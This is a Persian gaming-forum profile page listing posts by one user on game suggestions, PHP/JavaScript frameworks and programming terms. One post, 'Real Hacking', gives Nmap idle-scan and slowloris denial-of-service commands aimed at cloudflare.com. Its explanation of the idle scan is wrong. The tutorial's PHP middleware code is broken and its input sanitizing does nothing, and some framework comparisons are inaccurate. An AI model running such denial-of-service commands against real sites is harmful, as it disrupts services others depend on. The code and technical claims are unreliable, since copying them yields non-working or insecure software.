رفتن به مطلب
مرورگر پیشنهادی آرساکیا گیم مرورگر های تحت موتور کرومیوم می‌باشد، برای دانلود روی مرورگر انتخابی خود کلیک کنید
Google Chrome Microsoft Edge Ungoogled Chromium Brave Opera GX Opera

Integer

عضو
  • تعداد ارسال ها

    779
  • تاریخ عضویت

  • آخرین بازدید

  • روز های برد

    1

تمامی مطالب نوشته شده توسط Integer

  1. از نظر امنیت کدوم سایت به نظرتون قدرتمنده؟ 😂

    Cloudflare

    Microsoft

    Google

    ArSaCiA Forum

    من صد میگم آرساکیا 😂 

    حتی به جرعت میگم که کلاود فلر باید از امنیت آرساکیا تقلید کنه نمیدونم چرا تا به حال این چیز به ذهنش نرسیده 🤣

  2. Integer

    Add Friend System

    In the name of God سلام عامو های عزیز خیلی میخوشحالم که در خدمتتونم اما با یه پیشنهاد جذاب تر و باحال تر 1- فرند سیستم خب ببینید همه مون میدونیم که هرکی که دلش بخواد میتونه بیاد و هرکی که دلش میخواد رو فرند بده, چرا؟ میخواد از زمان آنلاین شدنش با خبر شه؟ میخواد لست لاگینش رو ببینه؟ به چه دلیل؟ خب پیشنهاد من راجب این موضوع هستش اولن که زمانی که کسی اد فرند بده کسه دیگه ای رو, هیچ اتفاق خواصی نمیوفته, نه طرف متوجه میشه نه چیزی, ولی اگه اون طرف هم اد فرندش بده, متوجه میشه طرف, خب پیشنهاد من این هستش که به جای اینکه این اتفاقات بیوفته, اولن که دلیلی به شخصه برای محدودیتی که روی فرند ها هستش نمیبینم, که بازیکن رو بخواین مجبورش کنین گولد بخره وی آی پی کنه؟ چرا اون وقت؟؟ که خودتون پول به جیب بزنید؟؟؟ به چه چیزی دارید پلیرای سرورتون رو میفروشین, به پول؟؟؟؟ من منظورم این نیستش که کلا بیاید و سیستم رفرال و فروش گولد و اینا رو از بین ببرید, هنوز هم وی آی پی و اینا بمونن, ولی چیز هایی که همه ی کاربران میتونن استفاده کنن چرا باید پولی باشه؟ ما میایم که از سرور لذت ببریم, نه اینکه این اختلافات طبقاتی رو توی بازیمون هم تجربه کنیم, به شخصه کاملا مخالفم! و اینکه بنده حالا نمیگم دیتابیس های آرساکیا و قدرت سرورشم اندازه سرورای متا عع که بیاین شبیه سازی فیس بوک و اینستا و... رو بسازین یا تلگرام عی چیزی عه, ولی میگم این محدودیت وی آی پی روی فرند ها یک چیزه بی ارزشی و هر پلیر هم (حتی اگر فرض بر این بگیریم هر پلیر) 30 تا فرند داشته باشه بازم سرور توانایی پاسخگویی رو داره, پس به جای اینکه محدودیت فرند ها تا 30 - 35 رو روی فقط وی ای پی بزاریم و پلیر ها رو به نحوی برچسب گذاری کنیم, به جاش کاری کنیم همه ی پلیر ها بتونن تجربه کنن 30-35 تا فرند داشتن رو حالا پیشنهاد اصلی من چی هستش؟ 1- محدودیت فرند لیست ها به 30 - 35 افزایش پیدا کنه و وی آی پی از سیستم فرند حذف بشه 2- به جای اینکه بیایم و کاری کنیم که هرکی بتونه به هرکی اد فرند بده, درخواست فرند بده و اگه طرف مقابل قبول کردش, بیاد و درخواست رو قبول کنه, به این صورت 1به1 میشه, درخواست دهنده, قبول کننده! 3- هرکی به کسی درخواست فرند که دادش, به فرند لیست های اون طرف +1 اظافه بشه, به این صورت هرکی فیکس میتونه به 30-35 نفر ریکویست بده! 4- سافت دیلیت, به معنای این هستش که حذف شده, ولی نه به صورت واگعی, به صورته کیک! توی دیتابیس هنوز وجود داره ولی توی بازی نه, این قابلیت کمک میکنه کسایی که قبلا با هم دیگه دوست بودن, وقتی دوباره به هم دیگه درخواست دوستی میدن, دیگه رکورد جدیدی توی دیتابیس ساخته نشه, به جاش بیایم و مقدار removed_at که پایین گفتم رو بزاریم خالی, و بقیه ی موارد به جز requestor_id و acceptor_id تغییر پیدا کنن, باحاله نه؟ اما خب یه کمک کوچیک به توسعه دهنده ها, از اونجایی که از MySQL استفاده میکنین, کد های زیر تقدیمتون میشه: friends: id INT Primary Key, requestor_id `USERS`.`ID` Foregin Key, (Har meghdari ke baraye Users.ID gozashtin (Tuye table e Users), dar inja ham hamun meghdar ro bezarin) acceptor_id `USERS`.`ID` Foregin Key, (Mesle requestor_id) requested_at DATETIME, accepted_at DATETIME, removed_at DATETIME (Soft Delete, ghabeliyate jadidi baraye UNDO (CTRL + Z) kardan va bargashtan be halate friend) حالا ممکنه چیزی رو جا انداخته باشم, دوستانی هم که نمیدونن اینا کد نیستن, کد های SQL زمانی که قبول شدش به دسته خوده توسعه دهنده ها داده میشه, حتی اگر بخواین, من کد هاشو دارم, میتونم براتون ارسال کنم سورس کد های PWN (Pawn) عه این مینی پروژکت رو, اما خب توضیحات بیشتری بخوام بدم: وقتی Y زدیم, به جای اینکه لیسته حال حاظر فرند هامون رو نشون بده, بیاد و دو تا گزینه نشون بده, تایپ عه دیالوگش (دیالوگ استایل) هم DIALOG_STYLE_TABLIST_HEADERS باشه, به صورت رو به رو: Example ShowPlayerDialog(playerid, friendDialog, DIALOG_STYLE_TABLIST_HEADERS, "Please enter to one of the services", "Name\tAmount\n\ Friend Requests\t582\n\ Friends List\t13", "{00FF00}Confirm", "{FF0000}Cancel" ); Tutorial: ShowPlayerDialog(playerid, friendDialog, DIALOG_STYLE_TABLIST_HEADERS, "Please enter to one of the services", "Header 1\tHeader 2\n\ Item 1 Col 1\tItem 1 Col 2\n\ Item 2 Col 1\tItem 2 Col 2", "Accept Button", "Cancel Button" ); توتوریال: خب ببینید یه آموزش کوچیکی بدیم, نمیخوام وارد کل دیالوگ ها شم فقط دیالوگ مربوطه رو آموزش میدم, باید بین هر سر تیتر و کالمن (ردیف), یک تب باشه تا اونا از هم جدا بشن, برای جدا سازی ستون ها هم باید یه بک اسلش ان (N) بزنیم, بک اسلش ای که روبروی \n ها هستش واسه اینه که پاون (Pawn) به وایت اسپیس ها گیر بیخودی نده خب دیگه خلاصه که اینم از پیشنهاد ما بودش امیدوارم از حرفایی که اولای پیشنهاد زدم ناراحت نشید, خلاصه که خیلی ممنونم ازتون که تا اینجا با من بودید لطفا پیشنهادی در رابطه با بهبود بخشیدن به این پیشنهاد دارید بدید اگه موافق بودید واکنش بدید و بگید که "موافقم (+)" اگر خدایی نکرده اشتباهی در پیشنهاد من بوده یا به هر دلیلی خوشتون نیومده تصمیم با خودتونه ولی واکنش و نظر دادن یادتون نره هااااا سرور رو با هم میخوایم بتلکونیم!! امیدوارم لذت برده باشید شما رو تا پیشنهاد ها و مطالب و تاپیک های بعدی به خدای بزرگ میسپارم, خدا یار و نگهدارتون باشه!
  3. Integer

    اصطلاحات عجیب غریب :: پارت 2

    به نام خداوند بخشنده و مهربان سلاممممممممممممممممممممممممم عرض میکنم خدمت همه ی شما دوستان و خوشتیپای عزیز با یکی دیگه از آموزش هامون در خدمت شماییم توی این آموزش که ادامه ی پارت قبلی هستش ( کلیک ! ) میخوایم بریم و یک مثال عملی از هر کدوم از چیز هایی که گفتیم بزنیم, عکسایی که با پینت کشیدمو بزاریم , و توضیحات مثال ها و توضیحات کامل تری رو راجع به هر موضوع بزنیم آماده این؟ 1- نگاه عمیق توی این بخش یک نگاه عمیقی میندازیم به هر کدوم از موضوع ها و مثالش رو هم میزنیم: 1- MiddleWare (میدل ور - میان افزار): همونطوری که در تاپیک قبلی مطرح کردیم, کار میدل ور ها چک کردن یک سری چیز ها قبل و بعد از ریکویست هستش, اما خب یه مثالی رو هم بزنیم راجع بهش: یک فایل جدید به اسم index.php بسازید و کد های زیر رو داخلش پیست کنید: <?php if(isset($_POST)){ if(isset($_POST['username'] && $_POST['username'] != '' strlen($_POST['username']) > 3 && strlen($_POST['username']) < 18){ echo "Right!"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"> </head> <body> <form action="<?= url("index.php"); ?>" method="post" class="form"> <input class="form-control" name="username" placeholder="Please enter your username to continue..."> <button class="btn btn-primary">Continue</button> </form> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"></script> </body> </html> در بالا کد بدون میدل ور هستش حالا یک فایل جدید به اسم middleware.php بسازید و داخلش کد های زیر رو پیست کنید: <?php namespace Middleware; class Middle { public function checkName($name){ htmlspecialchars($name); stripslashes($name); strtolower($name); $pattern = "<(.+)>.*<\/\1>"; if($name != '' && strlen($name) > 3 && strlen($name) < 18){ if(preg_match($pattern, $name)){ replace('<', '', $name); return false; } else { return true; } } else { return false; } } } ?> و در فایل index.php موارد زیر رو پیست کنید: <?php using Middleware\Middle; $middleobj = new Middle(); if(isset($_POST)){ if($middleobj->checkName($_POST['username'])){ echo "Right!"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"> </head> <body> <form action="<?= url("index.php"); ?>" method="post" class="form"> <input class="form-control" name="username" placeholder="Please enter your username to continue..."> <button class="btn btn-primary">Continue</button> </form> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"></script> </body> </html> کد رو در زمپ امپس ومپ لمپ یا سرور خود پی اچ پی اجرا کنین و لذت ببرید **اگر به هر دلیلی کار نکردش کد لطفا به بنده بگید که فیکسش کنم** دوستان, برای اینکه بقیه ی عزیزان اذیت نشن و نگن که طولانی بود و نخوندیم به 7 قسمت تقسیم کردم این قسمت دوم رو تا اوکی باشید و اذت ببرید امیدوارم که میدل ور رو به خوبی یاد گرفته باشید تا تاپیک های بعدی شما رو به خدای بزرگ میسپارم! الله یارتون باشه!
  4. Integer

    صندلی داغ با رضا Khan

  5. Integer

    صندلی داغ با رضا Khan

    خب خب عامو نیگا خان انصافا بدونه ما صندلیت داغ شدش؟ آماده ای؟ عامو؟ 1- سلام خوبی؟ چه خبرا؟ منم خوبم سلامتی 2- سوال بسیار سخت (اسم بازی زیر چیه؟ و برای چه سیستمی هستش؟) 3- راهنمایی برای سوال 2: از اونجایی که سابقه گیمریم 1 روزه و حتی استریمر های بزرگ مثل پوریا پوتک نتونستن منو شکست بدن, این راهنمایی رو بهت میکنم که این رزیدنت اویل برای کالی لینوکس هستش 4- راستی منو میشناسی؟ (بگی نه ناراحت مشیم) 5- ال اس پی دی خوش میذگره؟ 6- راستشو بگو چند بار سیلی زدی در گوش فرمانده توی خدمتت؟ 7- چند بار دستشویی هارو شستی؟ 8- چند تا دختر مخ کردی؟ 9- چند تا چیز قایم کردی؟ 10- میدونستی هممون معتادیم؟ 11- ارزش روبی بیشتره, گولد یا جم؟ (الان میگه فقط سی پی ) 12- اسمت نیگاس ولی واقعا نیگا نیستی واهای؟ 13- مشخصات سیستمتو بگو یکم فشار بخوریم: برند مانیتور: ورژن دیرکت ایکس: کارت گرافیک: رم: رم گرافیک: کارت های سوند: (صدا) ویندوز/مک/لینوکس: ورژن سیستم عامل: پردازنده: چند تا هسته؟: چند جی اچ زد؟: (Windows + R رو بزن, بعدش بنویس dxdiag و رانش کن, اونجا همه ی اینارو میتونی ببینی) 14- راستی نیگا خان چند سالته؟ 15- کد 00 روی مادربرد به چه معنیه (This is END): کاری نداری؟ نه منم ندارم خدانگهدارت حاجیو
  6. Integer

    HyperScript - Part 2

    به نام خالق یکتا سلامممممممممممممممممممممممممممممممم عرض میکنم خدمت همه ی شما دوستان عزیز امیدوارم هرجا که هستید زنده و پاینده باشید (البته در حال حاظر هم روحتون این مطلب رو نمیبینه پس زنده این متاسفانه ) با یک مطلب جدید در خدمت شما هستم عرضم به درزتون که دیدیم خیلی خیلی حمایت کردید تو پارت اول ( کلیک ! ) واسه همین تصمیم گرفتم سریع تر واستون بزارم مطلب رو دیگه مقدمه چینی (ژاپنی نیاااا) نمیکنم بریم سراغ کار اصلیمون 1- AngularPHP (یه ترکیبه ملسسس دیگه) خب! با انگولار این تاپیک رو استارت میزنیم! اما خب انگولار چی میباشد؟ انگولار (انگلیسی: Angular; همچنین به عنوان "انگولار ۲+") یک فریمورک آزاد و متن‌باز مبتنی بر تایپ‌اسکریپت است که برای توسعه برنامه‌های تک‌صفحه‌ای تحت وب استفاده می‌گردد و توسط گوگل و جامعه‌ای از افراد و شرکت‌ها توسعه یافته است. انگولار، بازنویسی کامل انگولارجی‌اس توسط همان تیم سازنده آن است. اکوسیستم انگولار متشکل از حدود ۱٫۷ میلیون نفر و مجموعه‌ای گوناگون از توسعه‌دهندگان نرم‌افزاری، برنامه‌نویسان کتابخانه و سازندگان محتوا است. بر اساس نظرسنجی توسعه‌دهندگان نرم‌افزار در استک اورفلو انگولار یکی از رایج‌ترین فریمورک‌های تحت وب است منبع: ویکی مدیا خب, شرمنده دیگه گوشادیمون اومد ساعت 6 صبح بشینیم بنویسیم توضیحات رو واسه همین اینکار رو کوردیم دیگر خب, حالا که فهمیدین انگولار چیه بریم سراغ مزیت های استفاده: 1- زبان قوی, جامعه ی بزرگ, فریم ورک مدرن, جمع و جور: اول که باید بگیم که PHP یک زبان بسیار بسیار قدرتمند هستش, جامعه ی بسیار بزرگی داره و شما میتونید هر مشکلی براتون پیش اومد سریع از این جامعه ی قدرتمند, بزرگ و فعال بپرسید, در سمت فرانت اند هم, انگولار رو داریم! یک فریم ورکی از جاوااسکریپت, مدرن و جمع و جور, سینتکسی بسیار بسیار شبیه به VueJS داره, شما VueJS رو بلد باشین, به سادگی این فریم ورک (چارچوب) قدرتمند رو یاد میگیرید! 2- استفاده در پروژه های متوسط: زمانی که یک پروژه ی کوچیک و یا متوسطی دارید, از یه ترکیبه ملسسس دیگه میتونین استفاده کنین! انگولارپی اچ پی یه ترکیبه خیلی خفنی هستش که میتونین در پروژه های کوچیک و متوسط رو به بالا استفاده کنید, پروژه هایی که نیاز به فرانت اند قوی دارن, برخلاف VueJS, که فقط در پروژه های کوچیک رو به بالا میشه استفاده کرد, از انگولار میشه هم در پروژه های کوچیک و هم متوسط استفاده کرد! 3- سینتکسی بسیار مشابه با VueJS: انگولار بسیار بسیار شبیه به VueJS هستش! شما اگه VueJS رو بلد باشید, به سادگی این فریم ورک قدرتمند رو میتونید یاد بگیرید! در کل, انگولار در پروژه هایی که زیاد به کارایه خیلی عجیب غریبی دارن میشه استفاده کرد به همراه زبان قدرتمند PHP! مثلا میخواید سیستم تیم کارکنان (مثل آرساکیا گیم (ناظم, مدیریت, سرپرست و...)) داشته باشید, میتونید از این دو در کنار هم دیگه استفاده کنید! (ایشونو صد بار تا حالا آپلود کردم بک گراند لعنتیش حذف نمیشه دیگه شما بدونه بک گراند تصور کنیدش) 2- ReactPHP (این دیگه یه ترکیبه جدیده!) بله دوستان! یه ترکیبه جدیده دیگه! یکی از خفن ترین مواردی که میتونید مشاهده کنید! معرفی میکنم! این شما و اینم ریکت پی اچ پی! گاد ملس بی رحم! اما خب اول باید ببینیم که ریکت چیپست : ری‌اکت (به انگلیسی: React)، که با نام‌های React.js یا ReactJS نیز شناخته می‌شود یک کتابخانه جاوا اسکریپت رایگان و متن‌باز برای فرانت‌اند است که هدف آن، ساده‌تر و روان‌تر کردن ساخت رابط‌های کاربری مبتنی بر کامپوننت‌ها است. این کتابخانه توسط شرکت متا (همون شرکتی که صاحب فیسبوک, واتساپ, اینستاگرام, دردز و... هستش) و جامعه‌ای از توسعه‌دهندگان مستقل و شرکت‌ها نگهداری و پشتیبانی می‌شود. ری‌اکت می‌تواند برای توسعه‌ی برنامه‌های تک‌صفحه‌ای (SPA)، موبایل یا برنامه‌های رندر شده در سرور با فریمورک‌هایی مانند نکست جی‌اس و ریمیکس استفاده شود. از آنجا که ری‌اکت فقط بر روی رابط کاربری و رندر کامپوننت‌ها در DOM تمرکز دارد، معمولاً برنامه‌های ری‌اکت برای مسیریابی و سایر قابلیت‌های سمت کلاینت به کتابخانه‌های جانبی متکی هستند. یکی از مزیت‌های کلیدی ری‌اکت این است که فقط بخش‌هایی از صفحه را که تغییر کرده‌اند، دوباره رندر می‌کند و از رندر غیرضروری عناصر تغییریافته در DOM جلوگیری می‌کند. منبع: ویکی پدیا خب, الان هم دوباره فرض میکنیم که شما اینو خوندیدش (الکیاااا ) و الان میدونید ریکت چه چیزی مییباشد, الان میریم سراغ مزیت هاشون: 1- مناسب پروژه های سنگین و بزرگ: در حال حاظر این فریم ورک و زبان, دو تایی میتونن هندل کنن یه پروژه ی قدرتمند رو! اونم به صورت تکی! (بدون نیاز به فریم ورک عه اظافه ی دیگه!) در حال حاظر تنها مزیتی که میتونم از این دو بگم همین هستش, بله دوستان! این تاپیک هم تا همینجا ادامه داشت! قسمت سومی هم ممکنه وجود داشته باشه... پس این قسمت هارو از دست ندید شب و روزگار بر شما خوش, خدانگهدارتون!
  7. چاکر همتون هستم عامو ها

    یه نگاهی به اینجا ها میندازین 🥲

    Real Hacking

    اصطلاحات غولومبه!

  8. Integer

    اصطلاحات عجیب غریب

    داش قسمت بعدی رو پس ببینید سکته ی قلبی مغزی میکنید منی که قراره بنویسمشون =))))
  9. Integer

    Network Mapper (NMap) :: Real Hacking

    به نام خالقی که به انسان, سخن را آموخت سلامممممممممممممممممممممممممممممممممممممم خیدمت شوما دوستانان عزیز با یکی از گنگ ترین آموزش ها در خدمتتونم! از همین اول بگم, بنده هیچچچچچ مسیولیتی در قبال سواستفاده از این مطالب آموزشی ندارم و اینم بگم که هیچکدوم از این موارد رو در وب سایت های واقعی (در صورتی که مجوزی ندارید) اجرا نکنید! وگرنه فردا خبر دستگیریتون توسط FBI, InterPol, SAS IRGC, SAS Army, VAJA میادش جدی میگم از هیچ کدوم از این هایی که میگم سواستفاده نکنین 1- اصطلاحات مورد نیاز این تاپیک خب اول باید یک سری چیز هارو بدونیم بعد بریم سراغ کار خودمون Third Person (Idle Zombie): اول از همه باید بدونیم "شخص سوم | زامبی | بیکار (یا بی گناه)" چی هستش, ما وقتی میخوایم هک کنیم, نمیایم از IP خودمون استفاده کنیم, از یه نفر سومی استفاده میکنیم, این نفر سوم هم یک شخص مجازی توی دنیای اینترنت هستش, شما اسمش رو تعیین میکنید, اما IP, بزارید نگم چون جمعمون یکم دارک میشه شوخی کردم, از IP یه بدبختی توی اینترنت استفاده میکنه DoS: به معنی منع سرویس های یک سرورسی, سرور رو از دسترس خارج میکنیم 2- Network Mapper (NMap) خب میریم سراغ کارمون! Linux: sudo nmap -sI NameOfPersonThatYouWant cloudflare.com sudo nmap -sI JavadInteger cloudflare.com Windows: Run windows command prompt (CMD) with run as administrator Write: nmap -sI NameOfPersonThatYouWant cloudflare.com nmap -sI Mamad_Javad_Integer cloudflare.com ایشون میاد و یک نفری رو با اسم دلخواه شما و با آی پی عه عشقی عه ان مپ میسازه nmap -p80 --script=http-slowloris --script-args http-slowloris.duration=30s,max-parallelism=9999 cloudflare.com یک حمله ی DoS ای میزنه که نگم واستون! اما این دو کد رو باید با هم دیگه استفاده کنید, به صورت زیر: nmap -sI NameETo -p80,443 --script=http-slowloris --script-args http-slowloris.duration=30s,max-parallelism=9999 cloudflare.com فقط کافیه اینو اجرا کنید! هیچ اتفاقی نمیوفته چون داریم یه سایت گنده رو هک میکنیما بعد بیاد در علیه 9999 تا ریکویست رو نتونه ساپورت کنه؟؟ چیزی که موقع ی اجرا ی این کد, Cloudflare بهتون میگه: برو بچه *نا مسلمان* (به جای *نا مسلمان* چیزی که میدونید میادش ) خب دوستان, هنوز آموزش تموم نشده! تازه من هنوز بهتون توضیحاتی رو ندادم! این آموزش رو فقط گذاشتم که با هک و تست نفوذ عه واقعی آشنا بشید! همه ی اصطلاحات رو به شما میگم و آموزش رو میبندیم, ممنونم که همراه من بودید, رو آرساکیا اجراش نکنینااااا شیطونا شب و روزگار بر شما خوش, خدانگهدار!
  10. Integer

    اصطلاحات عجیب غریب

    به نام خداوند جان و خرد سلاممممممممممممممممممممممممممممممممممممم خدمت همه ی شوما عزیزان امیدوارم که حالتون خوب باشه در این تاپیک میخوایم یه موضوع خیلی باحال و جذابی رو بررسی کنیم! اسمش رو میتونیم بزاریم... بزارین فکر کنیم... آها! یه اسم باحالی که برای این تاپیک میشه گذاشت, "اصطلاحات عجیب غریب" هستش! توی این تاپیک, میخوایم اصطلاحات غلمبه ای از برنامه نویسی رو یاد بگیریم, برای بعضی ها خیلی عجیب و غریب ممکنه باشه, ولی پشت این اسم عجیب غریب, یه توضیحات خیلی واظحی هم وجود داره! تازه با عکس هایی که از تو پینت کشیدم بهتون بهترم می توضیحم دیگه مقدمه چینی نمیکنم, بریم سراغ کار اصلیمون 1- اصطلاحات عجیب غریب! در این بخش میخوایم اسم (فقط اسم) اصطلاحات عجیب غریبمون رو ببریم و در بخش بعدی توضیحاتشون رو بدیم! در اینجا فقط یه توضیح خیلی مختصر مثل معنی ای که داره و چیکار میکنه رو گفتیم, در بخش بعدی کامل با مثال عملی توضیح دادیم که چی به چیه! 1- MiddleWare (میدل ور - میان افزار): میان افزار ها یکی از پرکاربرد ترین اصطلاح در برنامه نویسی وب هستن! میان افزار به معنی این هستش که قبل از اینکه درخواست کاربر به سرور اجرا بشه, یک سری مواردی اجرا میشن, مثلا یکی از کار های میان افزار چک کردن این هستش که کسی نیاد تو مثلا فیلد های ورود/ثبت نام کد مخرب بنویسه, اگه کد مخربی وجود نداشت, درخواست به کنترل ارسال میشه و کنترلر ممکنه ویو و مدل رو درگیر کنه 2- Controller (کنترلر - کنترل گر برنامه): همون طور که از اسمش پیداست, منطق برنامه ی ما رو مینویسه, همه ی درخواست ها, اول به کنترلر داده میشن, آنالیز میشن, و در صورتی که واقعا نیاز بود, ویو (View) و مدل (Model) درگیر میشن, چیز عجیبی نیست, مگه نه؟ یکی از 3 عنصر اصلی تشکیل دهنده ی MVC هستش 3- Model (مادل - مدل) - بله دوستان! ایشون هم یکی از 3 عنصر تشکیل دهنده ی MVC هستن, در مادل ما منطق دیتابیس رو مینویسیم, منظورم از منطق, هلپر فانکشن ها هستنا در اصل (الان چهار تا اینیشتنگ دوباره میان میگن فلانه بسانه این اینجا این شکلی گفته دیگههه بلد نیستش برنامه نویسی رو), هلپر فانکشن هایی مثل SELECT, INSERT, DELETE و UPDATE رو در مادل ما پیاده سازی میکنیم! به همین راحتی! 4- Routing System (روتینگ سیستم - سیستم مسیر یاب): بله دوستان! ایشون گنگستر شهره وب سایت بومه! همونطور که از اسمش پیداست, وب سایت رو مسیر یابی میکنه, اگه دیده باشید, در بعضی از سایت ها URL به صورت زیر هستش: https://example.com/users.php?userID=1&name=JavadInteger همین URL, در بعضی از سایت ها به شکل زیر هستش: https://example.com/users/1/JavadInteger سایت اول از روتینگ سیستم استفاده نمیکنه, ولی سایت دوم استفاده میکنه! 5- Repository (ریپوزیتوری - مخزنی): بله دوستان! شما رو میخوام با یکی از الگو های های برنامه نویسی (Design Pattern) آشنا کنم! این شما و اینم برنامه نویسی مخزنی! اسمش شاید یکم مسخره باشه! ولی پشت این اسم مسخره یه الگوی خفن هستش! این الگو میاد و به برنامه نویسا میگه که: "هنوزم با دیتابیست به صورت مستقیم ارتباط برقرار میکنی ایرانی؟ خب نکن دیگه, به جاش, بیا و به صورت غیر مستقیم عملیات های CRUD رو انجام بده!" 6- Microservice (میکرو سرویس - سرویس های کوچک): بله دوستان! ایشون هم یکی دیگه از الگو های برنامه نویسی هستش! این شما و اینم میکرو سرویس! اینم الگو میاد و میگه که: "به جای اینکه به دو بخش تقسیم کنی پروژه رو (فرانت اند - بک اند || یو آی - یو ایکس || جلو بندی - عقب بندی || صفحه - منطق و...), برای هر بخش یه پروژه ی جدید بزن!", مثلا ما 100 تا بخش داریم تو فرانت و در عین حال 200 بخش تو بک, ما نمیایم همه ی پروژه رو تقسیم کنیم روی فرانت و بک! به جاش میایم 100 بخش فرانت اند و 200 بخش بک رو به یک پروژه ی مجزا تقسیم میکنیم, یعنی 100 پروژه برای فرانت, و 100 پروژه بر روی بک! و بعد با API اون هارو به هم دیگه تقسیم میکنیم! به همین خوشمزگی! خب دوستان عزیز, در قسمت بعدی میریم سراغ توضیحات + مثال های عملی برای اصطلاحاتمون, امیدوارم که همراه ما باشید و تونسته باشیم که قطره ای به علم شما اظافه کنیم! البته قطره ای هم کوچکتر! چون مطالبی که ما میزاریم ممکنه حتی 0.00000001% هم اشتباه باشن, و نمیشه گفت قطره ای! چیزی کوچکتر از قطره! پس امیدواریم که خودتون رو فقط به ما اعتکا نکنید, زیاد سرچ کنید! زیاد آموزش ببینید! اما زیاده روی هم نکنید, لطفا هم فکر نکنید که بنده به قصد بدی یا به نیت اینکه خودم رو زیاد گنده جلوه بدم میام به شما اینارو آموزش میدم, اکثر آموزش هایی که من به شما میدم در لحظه این, یعنی من خودم همون موقع یاد گرفتم میام برای شما اینارو میزارم, مثلا 1, 4, و 5 رو من خودم همین الان که مطلب رو دارم برای شما میفرستم یاد گرفتم, در اصل شنیده بودم, ولی هی میگتم فردا یاد میگیرم - پس فردا پسون فردا از شنبه دیگه استارته! ای بابا شنبه هم نشد اشکال نداره شنبه هفته بعد و همینطوری بعد ها و بعد ها و بعد ها تا اینکه کلا یادم میره چی بود , زیاد آموزش بدید, وقتی که میخواید آموزش بدید, مجبور میشید که برید اون مطلب رو یاد بگیرید, مجبور میشید که دوباره تمرین کنید و هی و هی و هی, و طی تمرین ها هم چیزای جدید یاد میگیرید, چیزی رو داخل برنامه نویسی حفظ نکنید, بخوام به قول خودمون بگم, کد زیر رو تو مغزتون بنویسید #ifdef be_zehn_sepordane_khenzel_penzel_haye_barname_nevisi #undef be_zehn_sepordane_khenzel_penzel_haye_barname_nevisi #endif امیدوارم که سرتون رو درد نیاورده باشم, خیلی ممنونم که بهم اجازه دادید که بهتون یک مینی آموزش دیگه ای بدم, خوب تمرین کنید که قراره تو تاپیکه بعدی بریم سراغ آموزش عه واقعیمون, NMap :: Real Hacking هم قراره چند دیقه ی دیگه بزارم پس آموزش رو از دست ندید! علی, یارتون باشه! و خدا, حافظ تون!
  11. Integer

    What is WebSocket?

    خیلی ممنونم از همتون
  12. Integer

    HyperScript - یه ترکیبه ملسسس

    عمو مملی عشق مایی تاج سری نه حاجی بچه مشهد نیستم ولی بعضی اوغات همین طوری میاد تو ذهنم که این شکلی حرف بزنم خیلی ممنونم, خیلی خیلی انرژی میدید به آدم واقعا ممنونم, خیلی هم خوشحالم که تونستم مفید براتون واقع بشم Thank's ممنونم ممنونم عامو امیر مچکرم
  13. Integer

    HyperScript - یه ترکیبه ملسسس

    به نام خداوند جان و خرد سلامممممممممممممممممم خدمت یک یک شوما دوستان عزیز امیدوارم هرجا هستید زنده و پاینده با شیوید امروز اومدیم که یه چیز خیلی خفن رو بررسی کنیم یه ترکیبه خیلی خفنی از دو زبان برنامه نویسیه بخوایم اسم اصلیش رو بزاریم, اسمشو میزاریم "HyperScript Preprocessor", مگه نه؟ فکر کنم اینیشتنگ های عزیز متوجه شدن منظور از این چیه! بله دوستان! این ترکیبه خیفن ترکیبه زبان "HyperText Preprocessor" یا به اختصار PHP, و ترکیبه فریم ورک های "JavaScript" هستش اما خب دیگه سرتون رو درد نمیارم و میخوایم مستقیم بریم سراغ مطلب اصلی 1- ترکیبه VuePHP فعععکر کنم متوجه شدین چی به چیه و داستان از چه قرار هستش این ترکیب, ساخته شده از Vue.JS و زبان محبوب PHP هستش یه ترکیبه گنگ, جمع و جور و خفن! اما مزیت های استفاده از PHP به همراه JavaScript یک سری مزیت ها داره, بعد از اینکه اونارو بگم, میریم سراغ مزیت های VuePHP مزیت های این دو در کنار هم: جدا سازی فرانت-اند و بک-اند: با این روش, شما میتونین فرانت-اند و بک-اند رو از هم دیگه جدا کنین, جوری که دیگه در کد زنی دچار گیج شدن نشید, منطق برنامه, داده ها و... رو با کمک PHP و ویو (منظورم اون یکی ویو (View) هستش...), نمایش داده ها و هرچی که کاربر میبینه رو با فریم ورک های JavaScript کد تمیز و داینامیک: منظور از کد تمیر و داینامیک, به این معنی هستش که شما میتونین با استفاده از PHP داده های هر *مورد نظر کاربر* رو براش فچ (Fetch - Get - Select .......) کنید, به این نوع از کد زنی داینامیک میگن, یعین مثلا شما یک سایت آموزشی دارید مثل هزاران سایت دیگه, شما میاید و یکبار برای بخش جزییات آموزش کد میزنید, و میتونید هزاران دوره بسازید و به نمایش در بیارید, بدون اینکه داده ها اشتباهی فچ (Fetch - Get - Select .......) بشن, و با فریم ورک های JavaScript اونارو به نمایش بدرید... اما مزیت های VuePHP: وقت یادگیری کم: بسیار بسیار وقت کمی برای یاد گیری میخوان این دو, شما میتونین در عرض 1 ماه و خورده ای جمع کنید همه ی مطالب رو زبان قوی, فریم ورکی جمع و جور: با استفاده از زبان PHP میتونین خیلی کار هارو انجام بدید, از کرل (cURL) گرفته یا REST API های قوی, روتر و..., در این میان هم, Vue.JS کم نمیاره, ویو یک فریم ورک جمع و جور هستش, برای وب سایت هایی که نیاز به کار های خیلی عجیب غریب ندارن, میتونین از این فریم ورک استفاده کنین در کنار PHP فکر کنم که تا این جا کافی باشه, ممنونم که همراهی کردین منو تا اینجا, امیدوارم که لذت برده باشید چند قسمت دیگه هم از این سری آموزشی مونده, امیدوارم که عالی عالی یاد بگیرید و بتونم قطره ای به علم شما اظافه کنم, خدانگهدار همتون!
  14. Integer

    What is WebSocket?

    ممنونم از نظر دلگرم کنندتون
  15. Integer

    AGR Application

    درود بر شما, خیلی ممنونم بابته نظرتون چشم فعلا که متاسفانه سرم به شدت شلوغه و درگیر یک سری مسایل هستم, اما به زودی هم آپدیت برای بیز و هم برای بانک رو به صورت هم زمان ریلیز میکنم براتون و به صورت اوپن سورس که دوستان توسعه دهنده بتونن بیان و تغییرات دلخواه برای خودشون رقم بزنند
  16. Integer

    معرفی گوشیتون

